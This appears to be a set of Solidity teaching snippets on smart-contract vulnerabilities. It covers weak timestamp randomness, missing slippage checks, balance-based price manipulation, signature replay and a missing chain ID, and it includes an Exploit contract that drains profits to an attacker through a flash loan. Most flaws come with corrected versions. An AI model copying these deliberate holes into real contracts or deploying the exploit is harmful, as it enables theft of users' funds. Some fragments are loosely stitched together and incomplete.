pragma solidity ^0.8.0;


// SPDX-License-Identifier: UNLICENSED


contract Lottery {
    address public winner;


    function pickWinner() public {
        // Vulnerable randomness generation using block.timestamp
        uint256 randomNumber = uint256(block.timestamp) % 100;
        if (randomNumber == 7) {
            winner = msg.sender;
        } else {
            winner = address(0);
        }
    }


    function getBlockTimestamp() public view returns (uint256) {
        return block.timestamp;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;


import {VRFConsumerBaseV2Plus} from "@chainlink/contracts/src/v0.8/vrf/dev/VRFConsumerBaseV2Plus.sol";
import {VRFV2PlusClient} from "@chainlink/contracts/src/v0.8/vrf/dev/libraries/VRFV2PlusClient.sol";


/**
 * @noscript SecureLottery
 * @notice A lottery contract using Chainlink VRF V2.5 for verifiable randomness
 * @dev This is an example contract and should not be used in production without proper auditing
 */
contract SecureLottery is VRFConsumerBaseV2Plus {
    // Chainlink VRF configuration
    uint256 public s_subnoscriptionId;
    bytes32 public keyHash = 0x787d74caea10b2b357790d5b5247c2f63d1d91572a9846f780606e4d953677ae; // Sepolia gas lane
    uint32 public callbackGasLimit = 100000;
    uint16 public requestConfirmations = 3;
    uint32 public numWords = 1;


    // Lottery state variables
    uint256 public randomNumber;
    address public winner;
    mapping(uint256 => bool) public requestIds;
    uint256 public lastRequestId;


    // Events
    event RandomnessRequested(uint256 requestId);
    event WinnerSelected(address winner, uint256 randomNumber);


    /**
     * @param subnoscriptionId Chainlink VRF subnoscription ID
     * @param vrfCoordinator Address of the VRF Coordinator contract
     */
    constructor(
        uint256 subnoscriptionId,
        address vrfCoordinator
    ) VRFConsumerBaseV2Plus(vrfCoordinator) {
        s_subnoscriptionId = subnoscriptionId;
    }


    /**
     * @notice Request random number from Chainlink VRF
     * @param useNativePayment Whether to pay in native tokens (true) or LINK (false)
     * @return requestId The ID of the randomness request
     */
    function requestRandomWinner(bool useNativePayment) external returns (uint256 requestId) {
        // Request randomness from Chainlink VRF
        requestId = s_vrfCoordinator.requestRandomWords(
            VRFV2PlusClient.RandomWordsRequest({
                keyHash: keyHash,
                subId: s_subnoscriptionId,
                requestConfirmations: requestConfirmations,
                callbackGasLimit: callbackGasLimit,
                numWords: numWords,
                extraArgs: VRFV2PlusClient._argsToBytes(
                    VRFV2PlusClient.ExtraArgsV1({
                        nativePayment: useNativePayment
                    })
                )
            })
        );


        requestIds[requestId] = true;
        lastRequestId = requestId;
        emit RandomnessRequested(requestId);
        return requestId;
    }


    /**
     * @notice Callback function called by VRF Coordinator when randomness is fulfilled
     * @param requestId The ID of the randomness request
     * @param randomWords The random words generated by Chainlink VRF
     */
    function fulfillRandomWords(
        uint256 requestId,
        uint256[] calldata randomWords
    ) internal override {
        require(requestIds[requestId], "Request not found");
        require(randomWords.length > 0, "Random words array is empty");


        // Process the random value
        randomNumber = randomWords[0] % 100; // Example: limit to 0-99 range


        // Lottery winner selection logic would go here
        // For example, if you have participants in an array:
        // winner = participants[randomNumber % participants.length];


        emit WinnerSelected(winner, randomNumber);
    }


    /**
     * @notice Get the status of a VRF request
     * @param requestId The ID of the randomness request
     * @return exists Whether the request exists
     */
    function getRequestStatus(uint256 requestId) external view returns (bool exists) {
        return requestIds[requestId];
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;


import "@openzeppelin/contracts/token/ERC20/ERC20.sol";


// Simple ERC20 token for testing
contract TestToken is ERC20 {
    constructor(string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
    }
}


// Simplified DEX that's vulnerable to front-running
contract VulnerableDEX {
    TestToken public tokenA;
    TestToken public tokenB;
    uint public reserveA;
    uint public reserveB;


    constructor(address _tokenA, address _tokenB) {
        tokenA = TestToken(_tokenA);
        tokenB = TestToken(_tokenB);
    }


    // Initialize liquidity
    function addLiquidity(uint amountA, uint amountB) external {
        tokenA.transferFrom(msg.sender, address(this), amountA);
        tokenB.transferFrom(msg.sender, address(this), amountB);
        reserveA += amountA;
        reserveB += amountB;
    }


    // Calculate output amount for a given input
    function _calculateSwapOutput(address tokenIn, uint amountIn) internal view returns (uint amountOut) {
        require(tokenIn == address(tokenA) || tokenIn == address(tokenB), "Invalid token");


        bool isTokenA = tokenIn == address(tokenA);


        if (isTokenA) {
            amountOut = (reserveB * amountIn) / (reserveA + amountIn);
            require(amountOut < reserveB, "Insufficient liquidity");
        } else {
            amountOut = (reserveA * amountIn) / (reserveB + amountIn);
            require(amountOut < reserveA, "Insufficient liquidity");
        }


        return amountOut;
    }


    // Execute the swap with pre-calculated output
    function _executeSwap(address tokenIn, uint amountIn, uint amountOut, address sender) internal {
        bool isTokenA = tokenIn == address(tokenA);


        if (isTokenA) {
            tokenA.transferFrom(sender, address(this), amountIn);


            // Update reserves
            reserveA += amountIn;
            reserveB -= amountOut;


            // Transfer output tokens to the user
            tokenB.transfer(sender, amountOut);
        } else {
            tokenB.transferFrom(sender, address(this), amountIn);


            reserveB += amountIn;
            reserveA -= amountOut;


            tokenA.transfer(sender, amountOut);
        }
    }


    // Vulnerable swap function (no minimum output)
    function swap(address tokenIn, uint amountIn) external returns (uint amountOut) {
        // Calculate the expected output
        amountOut = _calculateSwapOutput(tokenIn, amountIn);


        // Execute the swap
        _executeSwap(tokenIn, amountIn, amountOut, msg.sender);


        return amountOut;
    }
}

// Secure swap function with minimum output requirement
    function swapWithMinimumOutput(
        address tokenIn,
        uint amountIn,
        uint minAmountOut
    ) external returns (uint amountOut) {
        // Calculate the expected output
        amountOut = _calculateSwapOutput(tokenIn, amountIn);


        // Check slippage before executing the swap
        require(amountOut >= minAmountOut, "Slippage too high");


        // Execute the swap
        _executeSwap(tokenIn, amountIn, amountOut, msg.sender);


        return amountOut;
    }

// Pool.sol (Simplified for illustration)
// Represents a simple liquidity pool vulnerable to balance manipulation
contract Pool is FlashLoanProvider { // Assume FlashLoanProvider is implemented elsewhere
    IERC20 public immutable tokenA;
    IERC20 public immutable tokenB;


    constructor(IERC20 _tokenA, IERC20 _tokenB) {
        tokenA = _tokenA;
        tokenB = _tokenB;
    }


    // Simplified swap function
    function swap(IERC20 tokenIn, uint256 amountIn) external returns (uint256 amountOut) {
        require(tokenIn == tokenA || tokenIn == tokenB, "invalid token");
        IERC20 tokenOut = tokenIn == tokenA ? tokenB : tokenA;


        // Transfer tokens in
        require(tokenIn.transferFrom(msg.sender, address(this), amountIn), "transfer in failed");


        // Calculate amount out based on price
        uint256 price = getPrice(tokenIn, tokenOut);
        amountOut = amountIn * price / 1e18;


        // Transfer tokens out
        require(tokenOut.transfer(msg.sender, amountOut), "transfer out failed");


        return amountOut;
    }


    // Vulnerable price calculation based on current pool balances
    function getPrice(IERC20 tokenIn, IERC20 tokenOut) public view returns (uint256) {
        uint256 balIn = tokenIn.balanceOf(address(this));
        uint256 balOut = tokenOut.balanceOf(address(this));


        if (balIn == 0 || balOut == 0) {
            return 1e18; // 1:1 initial price
        }


        // Price is the ratio of output token to input token
        return balOut * 1e18 / balIn;
    }


    // ... (flashLoanExternal and FlashLoanProvider logic assumed) ...
}


// Exploit.sol (Simplified for illustration)
// Contract to execute the flash loan and exploit
contract Exploit is IFlashLoanReceiver {
    Pool public pool;
    IERC20 public tokenA;
    IERC20 public tokenB;
    address public attacker;


    constructor(
        Pool _pool,
        IERC20 _tokenA,
        IERC20 _tokenB,
        address _attacker
    ) {
        pool = _pool;
        tokenA = _tokenA;
        tokenB = _tokenB;
        attacker = _attacker;
    }


    function attack(uint256 loanAmount) external {
        // Get the flashloan of tokenA
        pool.flashLoanExternal(address(this), tokenA, loanAmount);
    }


    function receiveFlashLoan(IERC20 token, uint256 loanAmount) external override {
        require(token == tokenA, "Expected tokenA flash loan");

        // Step 1: Now the pool has less tokenA, so the price of tokenA (in terms of tokenB) is higher


        // Step 2: Swap tokenA for tokenB at this manipulated rate
        uint256 swapAmount = 100 * 1e18;
        tokenA.transferFrom(attacker, address(this), swapAmount);
        tokenA.approve(address(pool), swapAmount);
        uint256 receivedB = pool.swap(tokenA, swapAmount);


        // Step 3: Repay the flash loan
        tokenA.transfer(address(pool), loanAmount);


        // Step 4: Send profits to attacker
        uint256 remainingBalanceA = tokenA.balanceOf(address(this));
        uint256 remainingBalanceB = tokenB.balanceOf(address(this));


        if (remainingBalanceA > 0) {
            tokenA.transfer(attacker, remainingBalanceA);
        }


        if (remainingBalanceB > 0) {
            tokenB.transfer(attacker, remainingBalanceB);
        }
    }
}

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;


import "openzeppelin-contracts/contracts/access/Ownable.sol";
contract RewardSystem is Ownable {
    mapping(address => uint256) public rewards;
    mapping(address => uint256) public nonces;


    constructor() Ownable(msg.sender) {}


    // For PoC simplicity, we don't use real signatures
    function claimReward(address user, uint256 amount, uint256 nonce, bytes memory signature) external {
        require(rewards[user] >= amount, "Insufficient reward balance");
        require(nonces[user] == nonce, "Invalid nonce");


        // Vulnerability: Signature can be replayed once contract has funds
        bytes32 messageHash = keccak256(abi.encode(
            user,
            amount,
            nonce
        ));


        // For PoC, use a simple signature check
        bytes32 signedHash = abi.decode(signature, (bytes32));
        require(signedHash == messageHash, "Invalid signature");


        // Attempt to transfer reward
        rewards[user] -= amount;
        (bool success,) = msg.sender.call{value: amount}("");


        // Vulnerability: Nonce is only incremented if transfer succeeds
        if (success) {
            nonces[user]++;
        } else {
            revert("Transfer failed");
        }
    }


    // Helper function to add rewards - only owner can call
    function addReward(address user, uint256 amount) external onlyOwner {
        rewards[user] += amount;
    }


    // Helper function to receive ETH
    receive() external payable {}
}

// Corrected claimReward function (inside RewardSystem)
function claimReward(address user, uint256 amount, uint256 nonce, bytes memory signature) external {
    require(rewards[user] >= amount, "Insufficient reward balance");
    require(nonces[user] == nonce, "Invalid nonce");


    // For PoC, use a simple signature check
    bytes32 messageHash = keccak256(abi.encode(user, amount, nonce));
    bytes32 signedHash = abi.decode(signature, (bytes32));
    require(signedHash == messageHash, "Invalid signature");


    // REMEDIATION 1: Consume nonce right after validating it
    nonces[user]++;


    rewards[user] -= amount;
    (bool success,) = msg.sender.call{value: amount}("");


    if (!success) {
        // Revert the reward deduction if transfer failed
        rewards[user] += amount;
    }
    // REMEDIATION 2: No revert to ensure nonce is consumed
}

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;


contract VulnerableVault {
    address public owner;
    address public recipient;
    mapping(bytes32 => bool) public isConsumed;


    constructor(address _owner, address _recipient) {
        owner = _owner;
        recipient = _recipient;
    }


    function changeRecipient(address _newRecipient, uint256 _expiry, bytes memory _signature) external {
        require(block.timestamp <= _expiry, "Signature expired");


        // VULNERABILITY: Missing chain ID in the signature data
        bytes32 messageHash = keccak256(abi.encode(
            msg.sender, // In the PoC, this is the test contract's address
            _newRecipient,
            _expiry
        ));


        // For PoC, use a simple signature check
        bytes32 signedHash = abi.decode(_signature, (bytes32));
        require(signedHash == messageHash, "Invalid signature");
        require(!isConsumed[messageHash], "Signature already used");


        isConsumed[messageHash] = true;
        recipient = _newRecipient;
    }
}

// Corrected changeRecipient function (inside a new SecureVault contract)
contract SecureVault {
    // ... same state variables and constructor as VulnerableVault ...
    address public owner;
    address public recipient;
    mapping(bytes32 => bool) public isConsumed;


    constructor(address _owner, address _recipient) {
        owner = _owner;
        recipient = _recipient;
    }


    function changeRecipient(address _newRecipient, uint256 _expiry, bytes memory _signature) external {
        require(block.timestamp <= _expiry, "Signature expired");


        // REMEDIATION: Include the chain ID to make the signature chain-specific.
        bytes32 messageHash = keccak256(abi.encode(
            msg.sender,
            _newRecipient,
            _expiry,
            block.chainid // Added chain ID
        ));


        // For PoC, use a simple signature check
        bytes32 signedHash = abi.decode(_signature, (bytes32));
        require(signedHash == messageHash, "Invalid signature");
        require(!isConsumed[messageHash], "Signature already used");


        isConsumed[messageHash] = true;
        recipient = _newRecipient;
    }
}